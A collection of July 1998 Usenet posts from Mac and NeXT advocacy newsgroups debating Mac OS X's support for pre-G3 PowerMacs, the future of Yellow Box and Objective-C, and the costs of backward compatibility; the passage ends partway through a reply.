Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 13 Jul 1998 20:04:31 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1307982004310001@pm3a3.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net>
In article <not-1307981532260001@2-76.phx.psn.net>, not@a.valid.email.add
(Michael M. Eilers) wrote:
> The issue has nothing to do with hardware at all. It has to do with the
> amount that Apple is willing to spend testing, supporting, and adapting OS
> X to legacy systems. Legacy systems, in this case, means anything that was
> released or shipped before Mac OS X and Mac Os X Server were announced, at
> this point. Apple isn't going to spend the dough.
Apple should then spend money on testing systems that it misled purchasers
into buying. Apple claimed that "all current shipping Macs" would run
Rhapsody. While OS X may not be "Rhapsody" in Apple's eyes, it is the
"next generation" OS that Rhapsody was to be. So I don't think it
unreasonable to expect that if Mac OS X replaces Rhapsody, then it should
run on the systems Apple led consumers to believe would run Rhapsody.
Especially if OS X is very close to Rhapsody.
> Why have you all forgotten a very obvious point? Development on Allegro
> (8.5) is going to continue in parallel with Mac OS X, with features
> migrating "downstairs" from OS x the whole time. Both OS 8/9 and OS X
> (with OS X Server) are going to co-exist the whole time, and the 601-604e
> OS's will continute to exist for the future. No, you won;t be able to run
> the latest and greatest, but trust me, NT 5.0 isn't going to run on any
> 486 (and perhaps nothing below Pentium II.) There is a far distance
> between "getting shafted" and just getting second place in line.
Allegro (8.5) is a joke compared to what Rhapsody/OS X were/are to be. If
the list presented here a few months ago is any indicator, Allegro isn't
even close to Rhapsody/OS X.
I'm the owner of a PowerPC 8100/80 that was suppose to run Apple's "next
generation" OS (at the time, Copeland). While OS 8.1 works great for me,
I can't use my computer with the software Apple promised I could run on
it. Is the 8100/80 to slow? Perhaps, but at the time I purchased the
system, the "next generation" OS was "just around the corner". I have
been thinking of replacing this system with a newer one (G3, they're at a
really good price). However, I don't want to purchase a new computer
thinking it will run OS X...especially when the 8100 works very well for
what I do (IE, I don't need OS X's capabilities). I had thought about
purchasing an 8500/233 a while ago...thinking that it would run the "next
generation" OS from Apple. Now I'm glad I held out...that would have been
twice!
Josh
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 13 Jul 1998 23:23:20 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6oe4t8$2ku$1@vixen.cso.uiuc.edu>
References: <35AA8501.CF6AAF27@nospam.com> <6odmus$fin@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Tim Triemstra <nospam@nospam.com> wrote:
: >
: >So, is there anything in print or on an official web site regarding
: >Yellow Box that has been possitive or forward thinking - that has been
: >published since the Carbon announcement? I can't find anything, and I
: >think I would be a flaming idiot to program for Yellow until there is
: >something to hear.
:
: Well, http://developer.apple.com/rhapsody/, last updated July 10, 1998,
:
: says "Rhapsody includes a breakthrough software development
: platform, code-named Yellow Box, for building new classes of
: reliable, media-rich and cross platform applications."
Even better, the Rhapsody FAQ: Date: June 20, 1998
http://gemma.apple.com/rhapsody/rhapfaq/5.html
Will my Rhapsody 1.0 Yellow Box (or OpenStep) applications run on Mac OS X?
Yes. We will provide a high degree of source compatibility
with pre-Mac OS X Yellow Box applications.
Is the Yellow Box in maintenace mode?
No. We will continue to grow and evolve the Yellow Box, in
terms of both features and performance, as demonstrated by the Yellow Box
enhancements in Rhapsody DR2. In addition, we will work to provide better
interoperability with Java.
Will the Yellow Box continue to be available on Windows?
Yes. Cross-platform development is the key feature of the
Yellow Box.
***********************************************************************
Also interesting is:
http://gemma.apple.com/rhapsody/rhapfaq/3.html
When will Rhapsody first deliver SMP?
Rhapsody will not support SMP. SMP support will be delivered
with Mac OS X.
Created: 10/8/97
Modified: 6/20/98
***********************************************************************
sean
Date: Mon, 13 Jul 1998 20:16:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <joe.ragosta-1307982016380001@elk49.dol.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com> <slrn6qamrq.ojd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <trev-1307981719020001@nas-p10.usc.net>
In article <trev-1307981719020001@nas-p10.usc.net>, trev@sc.edu (Trevor
Zion Bauknight) wrote:
> In article <slrn6qamrq.ojd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
>
> > How is 'make' going to work if make, /bin/csh, /bin/sh, cat, et cetera
> > are not part of MacOS X user? If ftpd doesn't exist? If inetd isn't
> > accepting connections? What are those "command lines" in
> > /etc/inetd.conf going to mean without a shell?
> >
> > That's the real problem. Terminal.app is just an app; nobody is
> > worried about that.
>
> Another of the real problems with including all those things is how to
> keep an out-of-the-box iMac or whatever from being as wide-open
> security-wise as it would be if shipped with a lot of daemons, etc. on and
> running in order to please programmers and network admins who want to be
> able to "count on" that stuff being available for their hacking purposes.
>
> Sure, Terminal.app is just an app and it would need a shell, utilities,
> daemons, etc. to work...but the question is when that stuff needs to be
> included in a standard install?
Equally important, Apple is starting from scratch with few user
expectations as to what is included or how it should be configured. I hope
they have security locked down tight by default. It should take someone
who knows what they're doing to loosen the security. That would be my
position even if it means leaving packages out by default.
IMHO, this beats the alternative (leaving lots of security holes by
default and requiring an expert to close them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: Mon, 13 Jul 1998 17:19:05 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981719050001@dante.eng.uci.edu>
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk> <slrn6qd35g.30p.sal@panix3.panix.com> <rmcassid-1307981242100001@dante.eng.uci.edu> <6odr3r$hk0$2@sun27.hrz.tu-darmstadt.de>
In article <6odr3r$hk0$2@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>>Good point. Bob is currently marginally pissed-off that WebObjects, let
>>alone DR2 won't run on his hopefully-soon-to-be-arriving Powerbook G3, but
>>that it will run on the Micron laptop that his arch-rival PC wonk owns.
>Amen, brother.
My sole consolation is that when it _does_ run, it will likely run far better.
>>I know that it _will_ run in a few months, but that only cures the
>>pissed-offs to a certain degree...
>
>Hm. You sure it will?
Reasonably so, yes. Not perfectly and probably not with any measure of
battery life, but I _should_ get what I need.
-Bob Cassidy
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Mon, 13 Jul 1998 20:53:14 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6oedop$9t21@odie.mcleod.net>
References: <35AA8501.CF6AAF27@nospam.com>
Tim Triemstra wrote in message <35AA8501.CF6AAF27@nospam.com>...
>Since Apple doesn't seem to want to talk about what they consider thir
>red headed step child - Yellow Box - does anyone want to comment on the
>following?
>
>1) Is ObjectiveC actually going to be a/the primary development
>environment for all "from scratch" programs by MacOS X's release?
>
Maybe, but probably NOT. Apple has not mentioned Objecive-C in public since
Steve Jobs took control. If YellowBox is mentioned at all it is in the
context of a "Java strategy".
>2) If not, do they intend to somehow wrap the API up in C++ or are they
>going to just go to a complete JNI interface via Java (actually,
>probably best long term solution - not byte code folks.)
>
The current Objective-C compiler is actually an Ojective-C++ compier.
Objective-C and C++ can currently be mixed in a single language statement.
There is no need to wrap the APIs and it would not make sense to even try.
[Deleted 3]
>
>So, is there anything in print or on an official web site regarding
>Yellow Box that has been possitive or forward thinking - that has been
>published since the Carbon announcement? I can't find anything, and I
>think I would be a flaming idiot to program for Yellow until there is
>something to hear.
>
You would be a flaming idiot to program for Yellow now. I have been a
NeXTstep and then Openstep developer since 1988 with version 0.8. My
company and my Fortune 100 clients are abandoning YellowBox as fast as
possible. It is sad, but Yellow is dead. Apple has privately told my
Fortune 100 clients as much. Apple actually recomended Windows NT and
Developer Studio.
>--
>Tim Triemstra . TimT at PMGLOBAL dot COM
>PM Global Foods, LLC ... Atlanta GA USA
>My home page: www.mindspring.com/~timtr
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 03:13:33 GMT
Organization: Digital Fix Development
Message-ID: <6oeict$msj$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net>
In-Reply-To: <not-1307981747020001@3-86.phx.psn.net>
On 07/13/98, Michael M. Eilers wrote:
>In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>> Apple isn't going to be selling off the Enterprise stuff.
>>
>> YB isn't going to be sold off, and it isn't dead. Not by a
>> long shot.
>>
>> Geez, why do you people listen to Henry Norr?
>
>Scott, why the hell would we listen to you instead?
Because Henry was telling you a wild out on a limb
speculation.
I'm telling you what I've been told by people at Apple who
have intimate knowledge of what is happening. This as recent as this
morning.
>Which one of the two of you has a steady job getting paid to predict
>what Apple is going to do next, and do it for publication?
>
Gee, as I recall, Mr Norr is now writing for Macintouch, not
MacWeek. Why do I doubt that is a steady paying job.
Writing for a publication doesn't automatically make you
right.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 03:25:55 GMT
Organization: Digital Fix Development
Message-ID: <6oej43$n38$1@news.digifix.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net>
In-Reply-To: <6oedop$9t21@odie.mcleod.net>
On 07/13/98, "Michelle L. Buck" wrote:
>
>Tim Triemstra wrote in message <35AA8501.CF6AAF27@nospam.com>...
>>Since Apple doesn't seem to want to talk about what they consider
thir
>>red headed step child - Yellow Box - does anyone want to comment on
the
>>following?
>>
>>1) Is ObjectiveC actually going to be a/the primary development
>>environment for all "from scratch" programs by MacOS X's release?
>>
>Maybe, but probably NOT. Apple has not mentioned Objecive-C in
public since
>Steve Jobs took control. If YellowBox is mentioned at all it is in
the
>context of a "Java strategy".
>
It was certainly more than mentioned at WWDC, and is
prominently mentioned in the FAQ that is less than a month old..
http://gemma.apple.com/rhapsody/rhapfaq/10.html
>>
>>So, is there anything in print or on an official web site regarding
>>Yellow Box that has been possitive or forward thinking - that has
been
>>published since the Carbon announcement? I can't find anything, and
I
>>think I would be a flaming idiot to program for Yellow until there
is
>>something to hear.
>>
>You would be a flaming idiot to program for Yellow now. I have
>been a NeXTstep and then Openstep developer since 1988 with version
>0.8. My company and my Fortune 100 clients are abandoning YellowBox
>as fast as possible. It is sad, but Yellow is dead. Apple has
>privately told my Fortune 100 clients as much. Apple actually
>recomended Windows NT and Developer Studio.
I find this very hard to believe. It is in direct contrast to
what I'm being told by the very people that are marketing Rhapsody.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 14 Jul 1998 02:57:30 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oeheq$672$3@lwnws01.ne.highway1.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> I would sincerely wish to get full and official explanation regarding
> pre-G3 Powermacs' OS compatibility at Apple's soonest convenience. The
> only things worse than getting shafted are either getting shafted and
> left in the dark, or getting shafted twice.
This is such a common thing, that sadly it has become truthful cliche around
apple. The decision making, oftimes, is so bumbling and incompetent, yet
aggressively ass covering as to completely turn off large numbers of even pro
apple sentiment people. (NeXT user experiences towing right in line as
well).
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 07:50:28 +0100
Organization: DIKU
Message-ID: <1dc5c1r.y1x8nnpez7vpN@ip206.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <rmcassid-1307981710550001@dante.eng.uci.edu> <bonasa-1307982314460001@pm6-114.acronet.net>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
<bonasa@umbellus.fst> wrote:
> There are thousands of people running 1400's with 64MB of RAM. I am 2 of
> them. Bruce
Oh. Pluralis maiestatis.
--
Per Erik Rønne
E-mail: xerxes@diku.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 14 Jul 1998 04:28:50 GMT
Organization: Digital Fix Development
Message-ID: <6oemq2$o5t$1@news.digifix.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <trev-1307982319430001@nas-p3.usc.net>
In-Reply-To: <trev-1307982319430001@nas-p3.usc.net>
On 07/13/98, Trevor Zion Bauknight wrote:
>In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
>Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
>> Let me ask you this George, how do you know OS 8.x will run carbon
tuned apps?
>
Apple said that they'd provide libraries to link against,
thereby making it easy for all Mac developers to move to Carbon
provided that they only target Mac OS 8+
>Um, because Carbon is a *subset* of the current Mac OS API? That
makes it easy.
>
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: brunning@saims.skidmore.edu (The New Number Two)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 14 Jul 1998 06:08:58 GMT
Organization: Legend in my spare time
Message-ID: <6oeslq$8g3$1@calvin.skidmore.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: I'm not comparing Mac OS X to Rhapsody, I'm comparing it to Mac OS 8.
: I just wondering how many of the machines that were sold prior to
: debut of G3 machines will truly be fit to run Mac OS X without
: memory and or disk upgrades, and how many users/organizations would
consider the fact that Apple hardware is better and more popular than
it's ever been, they're sold out of G3s, it's almost impossible to get
them, and many places have pre-ordered iMacs, and rumor has that
they're building tons of them in advance.
These systems will all run OS X, and i hope that (esp when the iMac is
released) these machines will quickly become the majority of the
installed Apple hardware base. i'd expect that users who refused to
upgrade to G3s because of IDE/lack of expandibility/etc.. will go for
the G3 Pro line.
it's a similar situation to Win95. Not a whole lot of Win 3.x machines
ran Win95 without larger disks or more memory, but look what Win95 did
for MS. even if it's not running on 100% or even 70% of PCs, it was
still such a publicity boon. Apple should do the same thing.
: really want to upgrade machines that are more than two years old at the
: time of Mac OS X's debut. No doubt, users want a better OS, and
: no doubt some people would buy it, but the question is how many
: people will actually being willing to perform a major OS upgrade
: on an older machine. An upgrade from Mac OS 7.x or 8.x to Mac OS
: X is going to be a major event, and it isn't going to be a decision
: that many people are just going to jump into. The basic question
: for Apple is whether upgrade revenues from these older
: machines is going to equal the upfront investments they have to
: make to support the older machines.
how many people upgraded PCs to run Win95? Almost everyone i know
did. and they did it eagerly without complaining because they *wanted*
to run the new OS. why can't mac users do the same?
RAM is cheap. 32 MB of fast memory can be had for $20. reasonably fast
4.5 gig SCSI disks can be had for $199.
: It's not an issue of speed. It's an issue of return on investment for
: Apple. Will the investment they make in support these machines bring
: them added revenues or will it just drag their bottom line down? Will
: it delay time to market? Would you rather see Mac OS X ship in
: the middle of year 2000 with support for machines that date back
: four or five years, or Mac OS X ship late next year with support
: for machines that came out in the last two years? Apple doesn't
: have infinite resources to everything nor can it accomplish an infinite
: number of things in a finite amount of time. I would personally
: rather see the new OS ship as early as possible.
I would much rather see Apple ship a great OS that only ran on 604e,
G3, iMac, etc.. than waiting another year for them to port Mach to the
030 or something :)
we're gaining ground, but we're still so far back in the game. it's
for this reason that expandible or not, external scsi or not, usb or
not, all-in-one or not, i really really the iMac hits the market in a
super candy-coated huge sell out way because it's all a matter of
*return to profit* right now, which can mean some other changes. not
necessarily sacrificing product quality or compatibility, but a change
in thinking and approach. i wanna see iMac commercials with skater
kids and the Crystal Method's music in the background. that's
ultimately what is going to make immediate money.
by the time OS X is released, the 603 machines will be 3 or 4 years
old. there are always people who will find pleasure in running archaic
machines (my LC ii runs great, makes a nice stable web server!), but
general home and business consumers are not among them. i really don't
think apple would gain much by taking the extra time and hit in
performance to support these machines.
( =--
Ben | :Speed:
brunning@skidmore.edu | ::Madness::
http://www.skidmore.edu/~brunning | .FlyingSaucers.
- How to screw with a Macintosh: www.machacks.com -
--= )
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 14 Jul 1998 05:32:29 GMT
Organization: University of Illinois at Chicago
Message-ID: <6oeqhd$2bl8$1@piglet.cc.uic.edu>
Jonathan W Hendry (jhendry@shrike.depaul.edu) wrote:
: In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
: > People seem to see the entire Carbon set of APIs as Apple knuckling under
: > to current Mac programmers who don't have the time/money/interest in
: > switching to YB. Whether that's true or not (and I suspect there's a grain
: > of truth), that's the perception.
: 'Knuckling under' is the wrong way to put it. Carbon is essential, like
: it or not.
: The worry is that Jobs will just give up on YellowBox, and not bother
: shepherding it through until Mac developers see the need for it. The
: worry is that Jobs will just decide that Mac developers don't want
: it *now* and project that to mean that mac developers will *never*
: use it, so why not kill it?
: The main issue is that Apple is inconsistent with their message on
: YellowBox, and aren't showing any sign of active support for
: developers who actually want to use it *now*.
: --
: "... and subpoenas for all." - Ken Starr
Question: does anyone think that the Next people who are pretty
much in charge of OS development at Apple would go along with
the dumping of the YellowBox/OpenStep APIs?
Anil
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 14 Jul 1998 06:16:08 GMT
Organization: University of Illinois at Chicago
Message-ID: <6oet38$1pvc$1@piglet.cc.uic.edu>
Pulsar (pulsar@springnet1.com) wrote:
: Let's assume that Mac OS X will cost $100. Let's also assume that Apple
: makes only $20 off of each copy of Mac OS X after accounting for
: distribution, and promotion of the OS. I actually suspect it would be more
: along the lines of $30 or $40 (maybe more), but for the sake of arguement
: we'll stick with $20.
: There are probably somewhere around 3 or 4 million pre-Gossamer PCI
: PowerMacs. Let's assume that only half a million upgrade to Mac OS X.
: That's 500,000 * $20 = $10,000,000
: That means that Apple can spend up to 10 million dollars on getting Mac
: OS X to run on these older PowerMacs and still _at least_ break even.
: Let's try to examine the costs for getting Mac OS X to run on these
: machines.
: Assume that a software engineer works for 40 hours a week at $100 per
: hour.
: Assume 4 people work for 2 weeks working on getting Mac OS X to run on
: these machines.
: That's 2 * 4 * 40 * 100 = $32,000.
: Now assume that 8 people work for 4 weeks on quality assurance, testing,
: and debugging.
: That's 8 * 4 * 40 * 100 = $128,000.
: This is a total of $160,000.
: Let's assume that the figure is off by a factor of 50!
: 50 * $160,000 = $8,000,000.
: So assuming that the real cost of getting Mac OS X to work on these
: machines is 50 times more than I estimated, then Apple will _still_ make
: a profit off of selling Mac OS X to pre-G3 PCI PowerMac owners!
I couldn't tell you if these numbers reflect reality, but I do suspect
things would probably take longer than 6 weeks. The hourly rates seem a
bit high, but the number of people seems a bit low. Considering how much
trouble Apple has had in the past in getting Mac OS releases to work on
the various machines they have released even though they aren't starting
from scratch, I could easily imagine it becoming a much more expensive
proposition, especially when you factor in overhead on the additional
developers and testers and the additional support people familiar with the
older systems that will be necessary for post-sale support.
: This does not include sales of Mac OS X to existing PowerMac G3 owners.
: Quite apart from cost and potential short term profit, there is the fact
: Apple makes a gesture of good will to owners of these machines by
: continuing support. Mac users are amazing for their loyalty, but that
: loyalty is neither unconditional nor increasing. Far from increasing, it is
: decreasing. If Apple orphans these machines with Mac OS X, a lot of
: customers already annoyed at Apple's behavior may very well stop supporting
: it.
: If Apple doesn't write Mac OS X to run on these machines (one of which I
: own), I will very likely leave the platform. I definitely won't go to
: Windows since I think things are worse on that side in a lot of ways, but I
: will cease to support Apple. Many others will do the same. Apple has jerked
: us around with too many broken promises for us to put up with much more.
: Even if it doesn't end up being immediately profitable for Apple to support
: Mac OS on these machines, it will be better for the platform and therefore
: better for Apple in the long run if Apple supports as many machines as
: possible.
No one said it would be decision for Apple to make. Certainly it will
anger some people. But I don't know if it will cause a significant
defection. I suspect a lot of people are probably going to buy one of the
newer machines anyway, and that a lot of people were holding off from
buying a new machine because they weren't sure if Apple would be around.
: Of course there is a trade off. I am not asking anything unreasonable of
: Apple. It is not unreasonable to expect that machines that are selling
: right now be supported in one year. This is particularly so when the
: hardware architecture is not so radically different from what Apple will
: already be supporting and when most of the work to get Mac OS X working on
: these machines will have been done with Rhapsody.
: Rhapsody already supports PowerMac 7[3,5,6]00s, 8[2,5,6]00s, and 9[5,6]00s.
: Some of these machines were selling back in 1995. All of these Macs have
: the same fundamental motherboard architecture. There are relatively minor
: differences from series to series, but Rhapsody already works on these
: machines.
: Rhapsody does not support NuBus based PowerMacs and probably doesn't
: support Catalyst based PowerMacs (I haven't heard whether it does or not).
: Yeah, but there is no particular evidence that the extra work (and it is
: extra in a way) would set back Mac OS X significantly (if at all) or that
: it would be any significant investment. The work to support these machines
: will be done with Rhapsody and Mac OS X is based on Rhapsody.
: > With the kernel upgrade and probably a restructuring of the various
: > other low level details, they will probably be starting over in terms
: > of hardware drivers. Does MkLinux (using the Mach 3 kernel) run
: > on 603e's yet?
: Yes. MkLinux does (with pre-DR3). If I'm not mistaken, MkLinux is not being
: worked on full time, but is worked on in the developer's spare time. That
: MkLinux could support such a wide array of machines while still advancing
: the OS by people who are not devoting all their effort towards it
: indicates that Mac OS X on some of the pre-G3 PCI PowerMacs is perfectly
: possible.
: I really doubt that Apple will be starting over. I'll readily agree that it
: won't be effortless, but the idea that it will postpone Mac OS X
: signficantly or that it would be too costly has no strong support as of
: yet. If such evidence could be shown, then I wouldn't be so bothered. Apple
: has said nothing except that a huge portion of its user base will not be
: able to run its new and only OS without buying new machines. It seems to be
: a misguided attempt to screw Mac owners and is being done for no other
: reason than increasing profit at our unreasonable expense.
: Ryan Tokarek
: <pulsar@springnet1.com>
: <http://www.ews.uiuc.edu/~tokarek>
I guess we'll have to see what will happen. There still is plenty
of time for Apple to change their minds. I think they will have to
get a handle on what the task really involves before they will
commit to supporting older machines. I hope they are just being
conservative in what they think they can accomplish.
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 00:22:20 -0700
Organization: Digital Universe Corporation
Message-ID: <35AB072B.4A4F11F3@alum.mit.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
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Michelle L. Buck wrote:
> Yellow Box is dead even if Apple does not abandon it.
Here we go again. :)
> YellowBox is a custom application development environment chiefly interesting
> to enterprise
> customers and a hand full of horizontal app developers.
Says who? You state this with so much authority, you must be right?
> Apple has permanently lost all credibility in the enterprise and there will
> never be
> enough YellowBox installations to support high quality horizontal
> applications.
Says who? What foundation do you have for this? Using words like "permanently"
and "never" should require you to expound further on your "point".
> Apple and the YellowBox are dead now at least for my company
> and the Fortune 100 companies we serve.
Good riddance! Enjoy C++. Enjoy Java. Enjoy writing and shipping that Java
code, which all your competitors will be able to easily de-compile using some
free tool like Jad or Mocha/Jasmine. Enjoy seeing your ideas go up in smoke as
your un-scrupulous competitor(s) reverse engineer your Java code in 1/2 hour,
translate it to Obj-C/YB, and re-sell a much more robust and marketable version.
Eric
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 00:55:33 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com>
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In article <MPG.1014a8e367d27764989993@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com says...
> > Let's try to examine the costs for getting Mac OS X to run on these
> > machines.
> >
> > Assume that a software engineer works for 40 hours a week at $100 per
> > hour.
> >
> > Assume 4 people work for 2 weeks working on getting Mac OS X to run on
> > these machines.
> >
> > That's 2 * 4 * 40 * 100 = $32,000.
> >
> > Now assume that 8 people work for 4 weeks on quality assurance, testing,
> > and debugging.
> >
> > That's 8 * 4 * 40 * 100 = $128,000.
> >
> > This is a total of $160,000.
> >
> > Let's assume that the figure is off by a factor of 50!
> >
> > 50 * $160,000 = $8,000,000.
> >
> You neglected to factor in payroll taxes, costs of hiring these 12 people
> (you won't find the caliber of people you need by just posting a want
> ad), management costs, delay on other teams as they have to bring your
> new team up to speed and coordinate with the teams.
I realise that there are things I ignored. That's part of why I mulitplied
my figure by 50.
> And I think your person count is unrealistic. Trying to bring a new OS
> onto a half-dozen different motherboard designs (we laptop users want in
> too) is not a trivial task. Maybe, maybe you could get away with the 4
> people for two weeks if nothing goes wrong...but there is no spare room
> for things going wrong. And if you've announced publicly "we'll be
> supporting these older machines", you can't take the chance on things
> going wrong.
Remember that at least some of the work from Rhapsody can be carried over
to Mac OS X.
> 8 people 4 weeks to test a whole operating system on a half dozen
> designs? No way. Maybe they could go through enough tests to be
> confident that if people do the normal things to the computers it will
